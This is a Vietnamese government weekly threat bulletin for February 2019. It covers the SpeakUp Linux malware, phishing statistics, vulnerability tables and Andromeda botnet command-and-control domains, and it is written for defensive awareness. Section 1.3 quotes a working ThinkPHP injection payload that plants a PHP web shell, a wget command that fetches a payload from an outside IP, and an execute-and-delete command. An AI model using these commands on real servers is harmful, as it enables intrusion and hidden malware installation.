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BỘ THÔNG TIN VÀ TRUYỀN THÔNG 

CỤC AN TOÀN THÔNG TIN 

 

CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM 

Độc lập - Tự do - Hạnh phúc 

    
Số:       /BC-CATTT 

 
Hà Nội, ngày      tháng 02 năm 2019 

TÓM TẮT 

Tình hình an toàn thông tin đáng chú ý trong tuần 07/2019 

(từ ngày 11/02/2019 đến ngày 17/02/2019) 

 

1. Điểm tin đáng chú ý 

1.1. Nghị viện Nga đã bỏ phiếu cho một Dự luật cấm các sĩ quan, binh 

lính phục vụ trong quân đội sử dụng điện thoại thông minh khi đang làm nhiệm 

vụ, sau khi những hoạt động trên mang xã hội của họ gây ảnh hưởng tới an toàn, 

an ninh quốc gia. Dự luật cấm thành viên quân đội sử dụng các loại điên thoại di 

đông có khả năng chụp ảnh, quay video và kết nối với internet.  

Hoạt động trên mạng xã hội của các thành viên trong quân đội Nga đã tạo 

điều kiện cho các trang thông tin mở như Bellingcat điều tra và làm lộ lọt bí mật 

về các hoạt động của quân đội Nga. Các nhà lãnh đạo Nga cho rằng việc ban 

BẢNG TỔNG HỢP 

1. Nghị viện Nga đã bỏ phiếu cho một Dự luật cấm các sĩ quan, binh lính 

phục vụ trong quân đội sử dụng điện thoại thông minh khi đang làm nhiệm 

vụ, sau khi những hoạt động trên mang xã hội của họ gây ảnh hưởng tới an 

toàn, an ninh quốc gia. 

2. Chính phủ Thụy Sĩ sẽ mở hệ thống bầu cử online của họ để kiểm tra độ an 

toàn trước các cuộc tấn công mạng. Hiện tại, cơ quan chức năng đã có thông 

báo khuyến khích các doanh nghiệp và các chuyên gia về an toàn thông tin 

thử tấn công vào hệ thống. 

3. Các nhà nghiên cứu của hãng bảo mật Check Point đã phát hiện ra một 

chiến dịch khai thác các máy chủ Linux sử dụng một phần mềm gián điệp 

mới, nhằm trốn tránh tất cả các giải pháp bảo mật. 

4. Báo cáo được xây dựng dựa trên các nguồn thông tin thu thập được từ hệ 

thống phân tích và chia sẻ nguy cơ tấn công mạng Việt Nam 

(https://ti.khonggianmang.vn). Thông tin chi tiết về Hệ thống tại Phụ lục 

kèm theo.   

https://ti.khonggianmang.vn/
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hành Luật này là cần thiết để bảo vệ thông tin quân đội khỏi sự do thám của các 

tổ chức tình báo nước ngoài.  

Trong một vài năm trở lại đây, các bài đăng trên mạng xã hội của các binh 

lính đã tiết lộ các thông tin về hoạt động của quân đội Nga. Từ năm 2017, binh 

lính Nga đã được cảnh báo về việc chia sẻ bất cứ thông tin gì trên mạng, kể cả 

ảnh selfies.  

1.2. Chính phủ Thụy Sĩ sẽ mở hệ thống bầu cử online của họ để kiểm tra 

độ an toàn trước các cuộc tấn công mạng. Hiện tại, cơ quan chức năng đã có 

thông báo khuyến khích các doanh nghiệp và các chuyên gia về an toàn thông 

tin thử tấn công vào hệ thống. 

Thơi gian cho phép kiểm tra thâm nhập công khai sẽ được tổ chức từ ngày 

25/02/2019 đến ngày 02/3/2019 cùng với phần thưởng là tiền mặt từ 100 đến 

50000 đô la Mỹ tùy theo mức độ và khả năng thâm nhập, cụ thể 

Danh mục Tiền Thưởng 

Sửa đổi nhỏ 100 

Truy cập vào hệ thống  1,000 

Làm cho hệ thống hay phiếu bị hỏng  5.000 

Đánh cắp thông tin phiếu bầu 10.000 

Thay đổi số phiếu (bị phát hiện) 20.000 

Thay đổi số phiếu (không bị phát hiện) 30.000 - 50.000 

Một cuộc bỏ phiếu thử sẽ được tổ chức vào ngày cuối cùng của bài kiểm 

tra, 24/3. Tuy nhiên, người tham gia có thế tấn công hệ thống bất cứ lúc nào. 

Để tham gia, các doanh nghiệp và các chuyên gia phải đăng ký trước. 

Việc đăng ký sẽ cung cấp cho người tham gia quyền hợp pháp để tấn công hệ 

thống và đảm bảo phần thưởng tiền mặt sẽ đến tay những người đầu tiên báo cáo 

vấn đề. Ngoài ra, một bộ luật quy tắc và hạn chế đối với người tham gia cuộc thi 

cũng sẽ được áp dụng. Ví dụ như: người tham gia không được phép thực hiện 

các cuộc tấn công có thể gây hại cho thiết bị cá nhân của cử tri hoặc tấn công 

các hệ thống không liên quan, tấn công nhà sản xuất hệ thống bỏ phiếu điện tử. 

Cơ quan chức năng của Thụy Sỹ cũng đã thuê một doanh nghiệp làm bên 

thứ ba độc lập để xác minh các báo cáo lỗ hổng mà người tham gia gửi. 
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1.3. Các nhà nghiên cứu của hãng bảo mật Check Point đã phát hiện ra 

một chiến dịch khai thác các máy chủ Linux sử dụng một phần mềm gián điệp 

mới, nhằm trốn tránh tất cả các giải pháp bảo mật. Phần mềm gián điệp mới, 

được đặt tên là SpeakUp, khai thác các lỗ hổng đã biết trong sáu bản phân phối 

Linux khác nhau. Cuộc tấn công dự kiến nhắm mục tiêu các máy chủ ở khu vực 

Đông Á và Mỹ Latinh, và bao gồm cả các máy chủ lưu trữ của Amazon (AWS). 

SpeakUp hoạt động, lây lan bằng cách truyền các gói tin quảng bá trong 

mạng nội bộ và cố gắng kết nối rộng hơn đến các dải IP mới, sau đó khai thác 

các lỗ hổng có thể thực thi từ xa 

 

Quá trình lây lan theo ngày 

Ban đầu các lây nhiễm đang nhắm mục tiêu lỗ hổng được báo cáo gần đây 

trong ThinkPHP và sử dụng các kỹ thuật tiêm lệnh để tải lên một đoạn mã chạy 

PHP sử dụng để thực thi một cửa hậu ứng dụng Perl. 

Quá trình khai thác gồm 3 bước: 

1. Khai thác lỗ hổng qua điểm yếu đã được công bố ThinkPHP (CVE-

2018-20062) để tải lên đoạn mã thực thi (PHP shell) 

Sử dụng một lệnh yêu cầu GET, thực thi lệnh từ xa khai thác ThinkPHP 

(CVE-2018-20062) để gửi đến máy chủ mục tiêu, nội dung như sau: 

s=/index/\think\app/invokefunction&function=call_user_func_array&var

s[0]=system&vars[1][]=echo ^<? php $action = 

$_GET[‘module’];system($action);? ^>>index.php 

This shell executes commands sent via the “module” parameter in a 

query. 

https://2.pik.vn/20193fb09402-961f-45b3-a02c-5d17c4e8f9f5.png
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2. Hoạt động để hỗ trợ cửa hậu 

Một yêu cầu HTTP khác được gửi đến máy chủ mục tiêu, với nội dung 

sau: 

/?module=wget hxxp://67[.]209.177.163/ibus -O 

/tmp/e3ac24a0bcddfacd010a6c10f4a814bc 

Việc tiêm nhiễm được thực hiện để kéo các payload và lưu trữ chúng trên 

/tmp/e3ac24a0bcddfacd010a6c10f4a814bc 

3. Tiến hành hoạt động 

Việc thực thi được thực hiện bằng cách sử dụng một yêu cầu HTTP bổ 

sung: 

/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf 

/tmp/ e3ac24a0bcddfacd010a6c10f4a814bc 

Lệnh thực thi tập perl này sẽ đặt nó vào trạng thái sleep trong 2 giây và 

sau đó sẽ xóa tệp để xóa bằng chứng. 

Mẫu mà các chuyên gia hãng Check point sử dụng để phân tích được thấy 

nhắm mục tiêu vào một máy ở Trung Quốc vào ngày 14 tháng 1 năm 2019 và 

lần đầu tiên được gửi tới VirusTotal vào ngày 9 tháng 1 năm 2019. Tại thời 

điểm viết bài viết này, phần mềm vẫn chưa được phát hiện trong các giải pháp 

trong VirusTotal. 

 

Các giải pháp bảo mật không phát hiện được SpeakUp trong Virus Total 
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SpeakUp sử dụng các giao thức POST và GET qua HTTP để liên lạc với 

máy chủ điều khiển (C&C) chính của nó, tại địa chỉ speakupomaha [.]com. 

Gói POST đầu tiên gửi ID nạn nhân và nhiều thông tin giới thiệu như 

phiên bản hiện tại của tập lệnh được cài đặt. (Hiện tại là 1.0.4) 

Phản hồi C&C đầu tiên ngay lập tức là “needrgr”, nghĩa là nạn nhân bị 

nhiễm mới vào máy chủ và cần đăng ký. 

Sau đó, phần mềm gián điệp này bắt đầu đẩy các thông tin đầy đủ về thiết 

bị bằng cách thực hiện các lệnh LINUX sau: 

 Uname (-r, -v, -m, -n,-a, -s) 

 Whoami 

 Ifconfig –a 

 Arp –a 

 cat /proc/cpuinfo | grep -c “cpu family” 2>&1 

 who –b 

Sau khi quá trình đăng ký hoàn tất, SpeakUp liên tục liên lạc với C& 

Ccủa mình cho các nhiệm vụ mới trên khoảng thời gian cố định. 

Các loại lệnh sau đây có sẵn bởi C & C: 

 Nhiệm vụ mới (newtask) - Thực thi mã tùy ý trên máy cục bộ, tải xuống 

và thực thi một tệp từ bất kỳ máy chủ từ xa nào, tắt hoặc gỡ cài đặt 

chương trình và gửi dữ liệu được cập nhật. 

 Không có nhiệm vụ (notask)- Dừng trong 3 giây và yêu cầu thêm lệnh. 

 Cập nhật cấu hình (newerconfig) - Cập nhật tệp cấu hình khai thác đã tải 

xuống. 

Hiện tại, SpeakUp hỗ trợ phục vụ các công cụ khai thác XMRig cho các 

máy chủ bị nhiễm. Theo XMRHunter, ví tiền của phần mềm gián điệp này có 

tổng cộng khoảng 107 đồng Monero 

Kỹ thuật lây lan và ẩn các payload của SpeakUp hướng tới việc vượt quá 

mọi nghi ngờ, sự ngăn chặn mối đe dọa lớn hơn. Việc xây dựng một phần mềm 

gián điệp công phu và phức tạp như vậy chỉ để triển khai một vài công cụ khai 

thác là không phù hợp. Các mối nguy hại đằng sau chiến dịch này có thể tại bất 

kỳ thời điểm nào khi các máy chủ điều khiển triển khai các mã thực thi, payload 

bổ sung. Ngoài khả năng dò quét mạng nội bộ và các mạng lân cận của một máy 
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chủ bị nhiễm và chúng có thể phân phối, lây nhiễm các phần mềm độc hại khác 

nhau. 

Thông tin kỹ thuật tham khảo tại:  

https://ti.khonggianmang.vn/dashboard/news/p/Phan-mem-gian-diep-

SpeakUp/  

2. Tình hình tấn công gây nguy hại trên các trang web tại Việt Nam 

Qua theo dõi, trích xuất thông tin từ hệ thống kỹ thuật thời gian qua, Cục 

ATTT nhận thấy trên không gian mạng đang tồn tại nhiều trang web Việt Nam 

(bao gồm cả những trang web sử dụng dịch vụ máy chủ nước ngoài) bị tấn công, 

lợi dụng để thực hiện các hành vi gây mất an toàn thông tin như: phát tán thư 

rác; tấn công từ chối dịch vụ; cài đặt và phát tán các loại mã độc (gần đây nhất là 

cài đặt và phát tán mã độc để đào tiền ảo); lưu trữ các mã khai thác điểm yếu lỗ 

hổng một cách tự động (như lỗ hổng trên trình duyệt hay các thành phần mở 

rộng của trình duyệt mà người dùng sử dụng .v.v…). 

 Trong tuần, Cục ATTT ghi nhận có ít nhất 49 đường dẫn (URL) trên các 

trang web tại Việt Nam bị tấn công, lợi dụng để thực hiện các hành vi gây mất 

an toàn thông tin. Trong đó, thống kê, phân loại các đường dẫn này theo loại 

ứng dụng máy chủ web ( IIS, Apache …) và nhà cung cấp cụ thể như sau: 

 

 

 

17

2

16

1

Apache

Microsoft-IIS

Nginx

LiteSpeed

Thống kê số lượng URL bị tấn công theo ứng dụng máy chủ web

https://ti.khonggianmang.vn/dashboard/news/p/Phan-mem-gian-diep-SpeakUp/
https://ti.khonggianmang.vn/dashboard/news/p/Phan-mem-gian-diep-SpeakUp/
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3. Tình hình tấn công lừa đảo (Phishing) trong tuần 

3.1. Qua thu thập, theo dõi, trích xuất từ hệ thống kỹ thuật, Cục ATTT 

còn ghi nhận có ít nhất 85 trang web đặt tại Việt Nam bị lợi dụng để thực hiện 

tấn công Phishing trong tuần.  

 

3.2. Trên thế giới có nhiều các trang web giả mạo các tổ chức, doanh 

nghiệp, nhà cung cấp, dịch vụ lớn như: Các mạng xã hội, ngân hàng, thư điện 

tử ..v.v… 
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Thống kê số lượng các trang web phishing trong tuần
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Việt Nam có nhiều người dùng các dịch vụ, ứng dụng nước ngoài (cả 

miễn phí và có phí) như các mạng xã hội, Dropbox, Paypal ..v.v… vì vậy người 

dùng cần phải hết sức cảnh giác với những trang web giả mạo để ăn trộm tài 

khoản. 

4. Lỗ hổng/điểm yếu an toàn thông tin trong tuần 

4.1. Trong tuần, các tổ chức quốc tế đã công bố và cập nhật ít nhất 206 lỗ 

hổng, trong đó có 30 lỗ hổng mức cao, 68 lỗ hổng mức trung bình, 15 lỗ hổng 

mức thấp và 93 lỗ hổng chưa đánh giá; ít nhất 24 lỗ hổng cho phép chèn và thực 

thi mã lệnh, 06 lỗ hổng đã có mã khai thác. 

4.2. Hệ thống kỹ thuật của Cục An toàn thông tin chủ động rà quét trên 

không gian mạng Việt Nam, đánh giá, thống kê cho thấy có 06 nhóm lỗ hổng 

trên các sản phẩm, dịch vụ CNTT phổ biến, có thể gây ảnh hưởng lớn đến người 

dùng ở Việt Nam, như: Nhóm 23 lỗ hổng trên hệ điều hành Android; Nhóm 12 

lỗ hổng trên một số sản phẩm, ứng dụng của SAP ..v.v. 

4.3. Chi tiết về thông tin một số lỗ hổng trên các sản phẩm/dịch vụ phổ 

biến tại Việt Nam cụ thể như sau: 

STT 
Sản phẩm/ 

dịch vụ 
Mã lỗi quốc tế Mô tả ngắn Ghi chú 

1 D-Link  
CVE-2019-7736 

CVE-2019-8312 

Nhóm 10 lỗ hổng trên 

frimware nột số dòng thiết bị 
Chưa có 

thông tin 

663

481 466 453

300 292 275

219 216 195

0
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Alibaba Bank of
America

PayPal Outlook PayPal Inc. Yahoo! Inc Chase
Personal

Facebook,
Inc.

Bank of
Commerce

Webmail
Providers

Top 10 nhà cung cấp, dịch vụ bị giả mạo nhiều nhất trong tuần 

Alibaba Bank of America PayPal Outlook PayPal Inc.

Yahoo! Inc Chase Personal Facebook, Inc. Bank of Commerce Webmail Providers
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CVE-2019-8319 

... 

của Dlink (600M C1 3.04, 

DIR-878, DIR-823G, DIR-

878) cho phép đối tượng tấn 

công truy cập trực tiếp vào 

trang wan.htm thay đổi 

thông tin cấu hình trên thiết 

bị, chèn và thực thi lệnh tùy 

ý để chiếm  quyền kiểm soát 

thiết bị. 

D-Link là một trong những 

thiết bị Moderm phát Wifi 

dùng nhiều trong hộ gia đình 

và doanh nghiệp vừa và nhỏ 

hay có lỗ hổng nhưng lại 

không có thông tin xác nhận 

và bản vá kịp thời từ nhà 

cung cấp sản phẩm.  

xác nhận 

và bản vá 

 

2 
Google 

Android  

CVE-2018-11962 

CVE-2018-9587 

CVE-2018-9592 

... 

Nhóm 23 lỗ hổng trên hệ 

điều hành Android cho phép 

đối tượng tấn công thực hiện  

để thu thập thông tin, chèn 

và thực thi mã lệnh, tấn công 

leo thang.  

Đã có 

thông tin 

xác nhận 

và bản vá 

3 Joomla   

CVE-2019-7739 

CVE-2019-7741 

CVE-2019-7744 

 

…. 

Nhóm 06 lỗ hổng trong phần 

mềm quản trị nội dung 

Joomla cho  phép đối tượng 

tấn công thực hiện khai thác 

lỗi XSS thông qua nhiều 

thành phần khác nhau 

Đã có 

thông tin 

xác thực 

và bản vá 

4 IBM  

CVE-2019-4059 

CVE-2018-1727 

CVE-2017-1695 

... 

Nhóm 05 lỗ hổng trên một 

số sản phẩm, ứng dụng của 

IBM (QRadar SIEM, 

InfoSphere Information 

Server, Rational ClearCase) 

cho phép đối tượng tấn công 

thực hiện một số hình thức 

tấn công gồm: giải mã dữ 

liệu (do sử dụng giải thuật 

mã hóa yếu), thu thập thông 

tin quan trọng, bao gồm cả 

cơ sở dữ liệu lưu trữ mật 

Đã có 

thông tin 

xác nhận 

và bản vá  
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khẩu thông qua các 

connector.  

5 SAP 

CVE-2019-0265 

CVE-2019-0258 

CVE-2019-0251 

... 

Nhóm 12 lỗ hổng trên một 

số sản phẩm, ứng dụng của 

SAP  gồm (ABAP Platform, 

BusinessObjects, Disclosure 

Management, Fiori 

Launchpad, HANA 

Extended Application 

Services, SAP 

Manufacturing Integration 

and Intelligence…) cho phép 

đối tượng tấn công thực hiện 

khai thác lỗi XSS, thu thập 

thông tin, đưa tập tin độc hại 

lên hệ thống, tấn công leo 

thang 

Đã có 

thông tin 

xác nhận 

và bản vá 

6 Winrar  CVE-2018-20250 

Lỗ hổng trong phầm mềm 

Winrar cho phép đối tượng 

tấn công thi mã lệnh  

Ảnh hưởng tới phiên bản 

Winrar 5.60 và các phiên 

bản trước đó. Trong tuần 6 

cũng có lỗ hổng CVE-2018-

20253 cho phép thực thi mã 

lệnh. Ảnh hưởng tới phiên 

bản WinRAR 5.70 Beta 1 và 

các phiên bản trước đó.  

Đã có 

thông tin 

xác nhận 

và bản vá 

5. Hoạt động một số mạng botnet, APT, mã độc tại Việt Nam 

5.1. Mạng botnet Andromeda 

Botnet Andromeda, còn được gọi là Win32/Gamarue đã bắt đầu xuất hiện 

và lây nhiễm vào các máy tính từ năm 2011. Đối tượng chính của cuộc tấn công 

mã độc này là các doanh nghiệp sử dụng thẻ thanh toán. 

Mục đích chính của Andromeda botnet là để phát tán các dòng mã độc 

khác nhằm phục vụ các cuộc tấn công phần mềm độc hại toàn cầu. Mạng botnet 

Andromeda bao gồm và có liên quan đến ít nhất 80 họ phần mềm độc hại, trong 

đó chủ yếu là họ mã độc Point of Sale (POS), ví dụ như GamaPOS. Trong sáu 

tháng cuối năm 2017, nó đã bị phát hiện lây nhiễm khoảng hơn 1 triệu máy tính 

mỗi tháng. 

https://nvd.nist.gov/nvd.cfm?cvename=CVE-2018-20253#_blank
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2018-20253#_blank
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Mã độc Andromeda có các chức năng chính như: Keylogging; Rootkit; 

Truy cập từ xa ẩn; Thu thập thông tin đăng nhập từ trình duyệt. 

Các tổ chức quốc tế cũng đã hợp tác với nhau để ngăn chặn các máy chủ 

và khoảng 1500 tên miền độc hại được sử dụng để phát tán và kiểm soát mạng 

botnet này. 

Tại Việt Nam, số lượng máy tính nằm trong mạng botnet Andromeda vẫn 

còn rất nhiều trong tuần mà Cục An toàn thông tin đang theo dõi. 

 

 

5.2. Danh sách IP/tên miền máy chủ điều khiển của mạng botnet Andromeda 

TT Tên miền/IP 

1 hvjhtwqfrskcivax.com 

2 xmwgcpluijyhpyolms.com 

3 xtuqqcjxcpnjgknj.com 

5.3. Danh sách IP/tên miền độc hại có nhiều kết nối từ Việt Nam 

TT Tên miền/IP 

1 plpanaifheaighai.com 

2 n.hmiblgoja.ru 

Số lượng IP

0

10

20

30

40

50

60

SCTV
VNPT

FPT
Viettel

TLSOFT

60

13
12

3

1

Thống kê số lượng IP nằm trong mạng botnet Andromeda

SCTV VNPT FPT Viettel TLSOFT
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3 ajkeahkcueafuiaeuf.ru 

4 mokoaehaeihgiaheih.ru 

5 kisssweetchick.com 

6 mel.cloudcontentsmak.com 

7 43trfdsds.com 

8 strikotunrev.top 

9 bszotsjovih.com 

10 iuefgauiaiduihgs.com 

6. Khuyến nghị đối với các cơ quan, đơn vị 

Nhằm bảo đảm an toàn thông tin trong hệ thống mạng của các cơ quan, tổ 

chức, Cục An toàn thông tin khuyến nghị: 

- Nhằm tránh việc bị các đối tượng tấn công lợi dụng các trang web để 

thực hiện các hành vi gây mất an toàn thông tin như đã nêu trong mục 2, các cơ 

quan tổ chức cần phải thường xuyên kiểm tra, rà soát máy chủ web để kịp thời 

phát hiện và cập nhật các điểm yếu, lỗ hổng trên các máy chủ web thuộc cơ 

quan, tổ chức mình 

-  Người dùng cần phải hết sức cảnh giác với những trang web giả mạo để 

ăn trộm tài khoản, đặc biệt là các trang web giả mạo các ứng dụng, dịch vụ phổ 

biến như đã nêu trong mục 3.2 báo cáo này. 

- Theo dõi và cập nhật bản vá cho các lỗ hổng, đặc biệt là lỗ hổng nêu tại 

mục 4.3 báo cáo này. 

- Chủ động kiểm tra, rà soát, bóc gỡ mã độc ra khỏi hệ thống mạng. Cục 

An toàn sẵn sàng phối hợp với các cơ quan tổ chức tiến hành kiểm tra và bóc gỡ 

mã độc botnet trên hệ thống của cơ quan đơn vị. Để xác minh các máy tính bị 

nhiễm mã độc botnet, Quý đơn vị có thể liên hệ với Cục An toàn thông tin theo 

thông tin bên dưới để phối hợp thực hiện.   

- Kiểm tra và xử lý các thiết bị trong toàn bộ hệ thống mạng nếu có dấu 

hiệu kết nối đến các tên miền độc hại Cục An toàn thông tin đã chia sẻ, đặc biệt 

là các tên miền đã nêu trong mục 5.2 và 5.3 báo cáo này. 
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Thông tin liên hệ Cục An toàn thông tin, tầng 8, số 115 Trần Duy Hưng, 

quận Cầu Giấy, TP. Hà Nội; số điện thoại:  024.3943.6684; thư điện tử 

ais@mic.gov.vn. 

Trân trọng./.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            

Nơi nhận:                                              
- Bộ trưởng và các Thứ trưởng (để b/c); 

- Thư ký Lãnh đạo Bộ; 
- Đơn vị chuyên trách về CNTT các bộ, ngành; 

- Sở TT&TT các tỉnh, thành phố trực thuộc TW; 

- Cục KSTTHC, Văn phòng Chính phủ; 

- Vụ Khoa giáo - Văn xã, Văn phòng Chính phủ; 

- Trung tâm CNTT, Văn phòng Trung ương Đảng;   

- Trung tâm CNTT, Văn phòng Quốc Hội;                 (email) 

- Trung tâm CNTT, Văn phòng Chủ tịch nước; 

- Các Tập đoàn kinh tế; Tổng công ty nhà nước;  

Tổ chức tài chính và Ngân hàng; 

- Cơ quan, đơn vị thuộc Bộ; 

- Lãnh đạo Cục; 

- Lưu: VT, NCSC. 

KT. CỤC TRƯỞNG 

PHÓ CỤC TRƯỞNG 

 

 

 

 

 

 

 

Nguyễn Huy Dũng 
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PHỤ LỤC 

Hệ thống phân tích và chia sẻ nguy cơ tấn công mạng Việt Nam 

https://ti.khonggianmang.vn 

 

 

https://ti.khonggianmang.vn/
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